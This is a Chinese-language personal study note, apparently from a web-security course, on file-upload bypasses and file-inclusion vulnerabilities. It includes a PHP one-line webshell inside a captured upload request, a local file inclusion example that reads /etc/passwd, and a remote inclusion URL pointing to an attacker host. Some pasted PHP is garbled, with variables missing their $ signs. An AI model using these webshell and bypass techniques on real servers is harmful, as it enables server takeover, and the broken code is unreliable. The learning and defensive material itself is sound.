小迪web自用笔记47

文件上传

第1句话的意思就是,如果你在JPG文件中写入了后门代码,如果正常的话它是解析不了的(执行不了,你网站上发图片就给你图片解析,图片解析怎么可能解析执行PHP?)也连接不了。除非有解析漏洞(把图片格式解析成脚本格式执行)。

这句话的核心原理是对的,但表述可以更严谨。

结论:原理正确,但表述需更严谨

分析:

  1. 正常情况:

JPG是图片文件,由图片解析器(如浏览器的图片渲染引擎、服务器的图片处理模块)处理;PHP是脚本文件,由PHP解释器执行。两者解析逻辑完全独立,因此正常配置的服务器不会执行JPG文件中的PHP代码,即使文件内含PHP代码,也只会被当作图片二进制数据处理(无法解析执行)。

  1. 漏洞场景:

若服务器存在解析漏洞(如:

  • 早期IIS的"分号截断"漏洞( *.asp;*.jpg 被当作ASP执行);

  • Apache通过 .htaccess 错误配置(如 AddType application/x-httpd-php .jpg ,强制将JPG按PHP解析);

  • 路径解析漏洞(如 /shell.jpg/%20/../shell.php 被当作PHP执行)等),则JPG文件可能被错误识别为脚本文件,从而执行其中的PHP代码。

  1. 表述优化建议:

原句中"图片解析怎么可能解析执行PHP?"的反问逻辑成立,但需补充"服务器配置错误或存在中间件漏洞时,可能突破这种隔离",否则易让人误解"所有场景下都绝对安全"(实际漏洞场景需明确)。

总结:

从"正常解析逻辑下无法执行、漏洞场景下可执行"的核心原理看,这句话是对的;但为了严谨性,建议补充漏洞的"服务器配置/中间件缺陷"前提,否则可能忽略"解析漏洞的存在场景"这一关键条件。

第2个的话,攻击者看看能不能发送后门的文件到网站上(不过现在一般有过滤,比如说内容与文件后缀过滤)。

也得看它存放图片的逻辑是什么?存放在哪个地方?怎么存放的。

文件上传漏洞容易出现的原因在于它有很多方面造成问题,比如版本问题,第三方的问题等等,以及你程序的问题。

例子1:(后端无验证)

首先看是前端验证还是后端验证,如果是前端验证的话可以改改代码应该(前提是后端没有加验证)

首先先抓个包看看他有没有包。

如果是前端验证的话,可以直接前端改代码,或者是在发包的时候直接给他格式。

然后直接连接。

要理解远程文件上传的原理(即后端如何通过 HTTP 请求接收文件),需从 HTTP 请求结构、Web 服务器解析、后端应用处理 三个环节拆解,结合你提供的图片场景(Burp Suite 抓包的文件上传请求)详细分析:

一、HTTP 请求: multipart/form-data 格式

文件上传的核心是 客户端通过 POST 请求,以 multipart/form-data 格式发送文件数据。这种格式的关键特点是:

  • 使用 boundary (边界符,如图片中的 252442534324209 )分割不同的表单字段;

  • 每个文件字段包含 Content-Disposition (指定表单名 name 和文件名 filename )、 Content-Type (文件 MIME 类型),以及文件的二进制内容。

以你提供的请求为例:

http

POST / HTTP/1.1

Host: 47.94.236.117:30001

Content-Type: multipart/form-data; boundary=252442534324209

--252442534324209

Content-Disposition: form-data; name="file"; filename="1.php"

Content-Type: image/jpeg

GIF89a<?php eval($_POST['pass']);?>

--252442534324209

Content-Disposition: form-data; name="submit"

Upload

--252442534324209--

  • name="file" :表单中用于上传文件的字段名;

  • filename="1.php" :客户端选择的文件名(攻击者可能伪造文件名来绕过验证);

  • Content-Type: image/jpeg :客户端声明的文件类型(攻击者可能伪造 MIME 类型);

  • 文件内容: GIF89a<?php eval($_POST['pass']);?> (这是典型的"图片马"------表面是 GIF 图片,实际包含 PHP 后门代码)。

二、Web 服务器:解析请求并保存临时文件

当 Web 服务器(如 Apache、Nginx)接收到 multipart/form-data 的请求时,会执行以下操作:

  1. 解析 boundary :根据 Content-Type 中的 boundary 分割请求体,识别每个表单字段。

  2. 提取文件数据:对于文件字段( name="file" ),服务器会读取 filename 、 Content-Type 和二进制内容。

  3. 保存临时文件:将文件内容写入服务器的临时目录(如 PHP 的 /tmp 目录),并生成一个临时文件名(如 phpXXXXXX )。

此时,服务器仅完成"文件数据的接收与临时存储",尚未交给后端应用处理。

三、后端应用:处理上传文件(以 PHP 为例)

后端应用(如 PHP 脚本)通过编程语言提供的 文件上传接口 获取并处理文件。以 PHP 为例,核心逻辑是:

  1. 读取上传信息

PHP 通过 $_FILES 超全局数组 存储上传文件的元信息,结构如下:

php

$_FILES['file'] = [

'name' => '1.php', // 客户端原始文件名

'type' => 'image/jpeg', // 客户端声明的 MIME 类型

'tmp_name' => '/tmp/phpXXXXXX', // 服务器临时文件路径

'error' => 0, // 错误码(0 表示成功)

'size' => 27 // 文件大小(字节)

];

  1. 移动/处理文件

后端脚本通常会调用 move_uploaded_file() 将临时文件移动到目标目录(如 upload/1.php ),完成上传:

php

target_path = 'upload/' . _FILES['file']['name'];

move_uploaded_file(_FILES\['file'\]\['tmp_name'\], target_path);

  1. 安全风险(图片场景的关键)

如果后端未对文件进行严格验证(如:

  • 仅校验 Content-Type 或文件名,未检查文件真实内容;

  • 允许上传到可执行目录,且服务器存在文件解析漏洞------如将 1.php 当作 PHP 执行,即使它伪装成图片),攻击者就能上传恶意脚本(如图片中的 GIF89a<?php eval($_POST['pass']);?> ),并通过访问该文件触发代码执行。

四、总结:远程文件上传的完整流程

  1. 客户端封装请求:将文件以 multipart/form-data 格式打包,通过 POST 请求发送。

  2. 服务器解析存储:Web 服务器解析请求体,提取文件数据并保存为临时文件。

  3. 后端应用处理:后端脚本通过 $_FILES 读取文件信息,移动临时文件到目标路径。

  4. 漏洞利用:若后端验证不足或服务器存在解析漏洞,攻击者可上传恶意文件(如"图片马")并执行代码。

是的,只修改文件扩展名不会改变文件的二进制内容。

核心原因:

文件扩展名(如 .jpg 、 .php )本质上是文件名的一部分,用于告诉操作系统"应该用什么程序打开这个文件"。它并不存储在文件的二进制数据区,因此修改扩展名不会影响文件的实际内容。

举个例子:

假设你有一个图片文件 image.jpg ,它的二进制内容以 FF D8 FF E0 (JPEG 文件头)开头。

如果你将它重命名为 image.php ,文件的二进制内容 不会有任何变化,开头仍然是 FF D8 FF E0 。

为什么服务器可能仍会执行它?

这取决于服务器的配置:

  1. 只检查扩展名:如果服务器只验证扩展名(比如允许 .php ),而不检查文件内容,那么它会把这个文件当作 PHP 脚本执行。

  2. 解析漏洞:某些服务器(如早期的 IIS、配置错误的 Apache)存在解析漏洞,会错误地将 .php 扩展名的文件当作 PHP 执行,即使文件内容是图片数据。

  3. 文件签名验证:安全的服务器会检查文件的二进制签名(如 JPEG 的 FF D8 ),而不是仅依赖扩展名。

总结:

  • 扩展名只是"标签",不影响二进制内容。

  • 风险在于服务器如何处理这些文件,尤其是存在解析漏洞时。

如果你愿意,我可以帮你做一个文件扩展名修改前后的二进制对比图,直观展示扩展名变化但二进制内容不变的现象。这样你能一眼看清区别。你要我做吗?

例子2:(中间件问题):

所以它是分两步,第1次上传一个一句话木马JPG文件,第2次就上传一个修改JPG为PHP文件的漏洞(第3方利用)

例子3(通过类型判定文件,我可以在数据包中篡改类型)

验证得从多方面验证,而不能只通过类型判定。

例子4(文件头):

用十六进制编译器打开查看不同的文件头

PNG

GIF

他的头部是固定的,因此可以伪造文件头

为什么可以直接通过这种方式伪造文件头↓

例子5(黑名单)

*我感觉白名单更好点,因为黑名单太广了,可以绕过很多。

黑名单无递归逻辑问题

这个代码逻辑是有问题的,如果检测到了后面的后缀就直接把这个后缀过滤为空(但是只搞一次),过滤之后后面还是可以直接上传。

这就尴尬了,可以直接写两个PHP,你过滤一个我还有一个。

而且不仅没递归还没有大小写,STRIREPLACE,直接给你固定死你里面写的是什么它就怎么过滤(后缀如果是Php就识别不了了,不过得是windows系统,Linux系统分大小写区分全是大写或全是小写才是这个格式,不然直接不认你这个格式。)

例子6():

上传之后发个包信息收集,这个路径是保存文件名的地方。

截断↑

通过文件命名与文件路径进行修改,让他报错的结果进行更改。

如果添加截断符的话,就相当于SQL中的注释掉了一样,他就只能看你前面的格式了,后面的132023060313064一点JPG就相当于没有保存过了。

让服务器只解析节段服务前面的文件,这玩意儿类似于路径拼接。

但这玩意儿有两个限制,一个是魔术开关,另一个是版本问题。

例子7:

如果是在下面不是在URL中的话,就得有个解码过程,不可以直接就截断起手。

这个是和浏览器解析有关系,如果在URL中,我写个空格它就会自动给你解析成给你变成%201,

上面浏览器会自动给你解码。

下面你得手动解码一次。

例子8(黑名单过滤不严):

有些文件他只进了php但没进PHP5,然后你就可以改PHP5。

在b r up中可以改后缀爆破。

例子9(条件竞争):

先接收然后上传后面再处理。

你一旦访问,我就新建一个文件。

我不断的去访问,只要有一次成功,我就可以新建一个新的后门。

例子10(二次渲染):

你网站上原本的图片与你从网站上下载的图片不同,少了很多内容。

然后你要把这个代码放在保留的这个部分来

这是文件包含

文件包含(File Inclusion)是服务器端脚本语言(如 PHP、JSP)的一种功能,也是常见的 Web 漏洞类型,核心是服务器通过用户可控的输入加载并执行指定文件,若输入未过滤则会导致恶意文件被加载执行。

一、文件包含的两种核心类型

根据加载文件的来源,分为本地文件包含(LFI) 和远程文件包含(RFI),两者原理一致,仅文件位置不同。

  1. 本地文件包含(LFI)
  • 定义:加载服务器本地已存在的文件(如配置文件、日志文件、用户上传的文件)。

  • 原理示例(以 PHP 为例):

若服务器代码未过滤用户输入的 file 参数,直接用 include 函数加载文件:

php

<?php include $_GET['file']; // 直接包含用户传入的文件路径 ?>

攻击者可构造 URL: http://xxx.com/index.php?file=../../etc/passwd (Linux 系统),让服务器加载本地敏感文件 /etc/passwd (存储用户账号信息)。

  1. 远程文件包含(RFI)
  • 定义:加载远程服务器上的文件(如攻击者搭建的恶意脚本),需服务器开启远程包含功能(如 PHP 的 allow_url_include=On )。

  • 原理示例:

攻击者在自己的服务器上放置恶意脚本 malicious.php (含一句话木马),然后构造 URL:

http://xxx.com/index.php?file=http://attacker.com/malicious.php

服务器会远程加载并执行 malicious.php ,攻击者即可控制目标服务器。

二、漏洞产生的根本原因

服务器端代码存在用户输入未过滤的问题:

  1. 直接将用户输入的路径(如 ../../ 、远程 URL)拼接进 include / require 等文件包含函数;

  2. 未限制可包含的文件类型(如允许包含 .php 等可执行脚本);

  3. 未禁用危险功能(如 PHP 未关闭 allow_url_include )。

三、常见利用场景(结合你之前关注的文件上传)

文件包含常与文件上传漏洞结合,形成完整攻击链:

  1. 攻击者通过文件上传漏洞,将含 PHP 木马的"图片马"(如 shell.png )上传到目标服务器;

  2. 利用 LFI 漏洞,构造 URL 包含该上传文件: http://xxx.com/index.php?file=./upload/shell.png

  3. 若服务器存在文件解析漏洞(如之前讨论的 .htaccess 配置), shell.png 会被当作 PHP 执行,攻击者通过蚁剑连接控制服务器。

四、漏洞危害

  • 读取敏感文件:如数据库配置文件( config.php )、服务器日志、系统密码文件;

  • 执行恶意代码:加载含后门的脚本,获取服务器权限(如读写文件、执行系统命令);

  • 服务器被控:最终可能导致服务器沦为"肉鸡",被用于挖矿、发起攻击等。

五、防御措施

  1. 过滤危险输入:拦截 ../ (路径穿越字符)、 http:// / https:// (远程 URL 前缀)等;

  2. 使用白名单:仅允许包含指定目录下的文件(如 include './safe_dir/' . $_GET['file']; ),禁止跨目录包含;

  3. 禁用危险功能:关闭远程包含(PHP 设 allow_url_include=Off ),限制 include 函数可加载的文件类型;

  4. 文件重命名:上传文件时随机重命名(如用哈希值命名),避免攻击者猜到文件路径。

总结

文件包含的核心是"可控输入导致恶意文件被加载执行",与文件上传、解析漏洞结合时危害极大。防御的关键是严格过滤用户输入、限制文件包含范围、禁用危险功能。

*简单来说,文件包含就是执行那个路径所指的文件的功能。

文件包含可以执行用户上传路径文件里面的东西,就算是JPG格式也可以php执行

例子11

函数缺陷

改成这个文件名就会当成PHP执行。保存的文件名由你来指定,就是服务器不会给你重命名的话。

它自动把点去掉了

不过现在一般是端口里面文件上传的多。

相关推荐
2401_885405517 天前
定位守护童年,科技构筑安全屏障
科技·物联网·安全·小程序·宠物·web app·智能手表
合作小小程序员小小店8 天前
web开发,学院培养计划系统,基于Python,FlaskWeb,Mysql数据库
后端·python·mysql·django·web app
牢七15 天前
小迪web自用笔记59
web app
牢七15 天前
小迪Web自用笔记58
web app
牢七17 天前
小迪web自用笔记55
web app
牢七17 天前
小迪自用web笔记53
web app
牢七19 天前
小迪web自用笔记54
web app
牢七19 天前
小迪Web自用笔记52
web app
牢七19 天前
小迪web自动笔记50
web app
牢七20 天前
小迪web自用笔记49
web app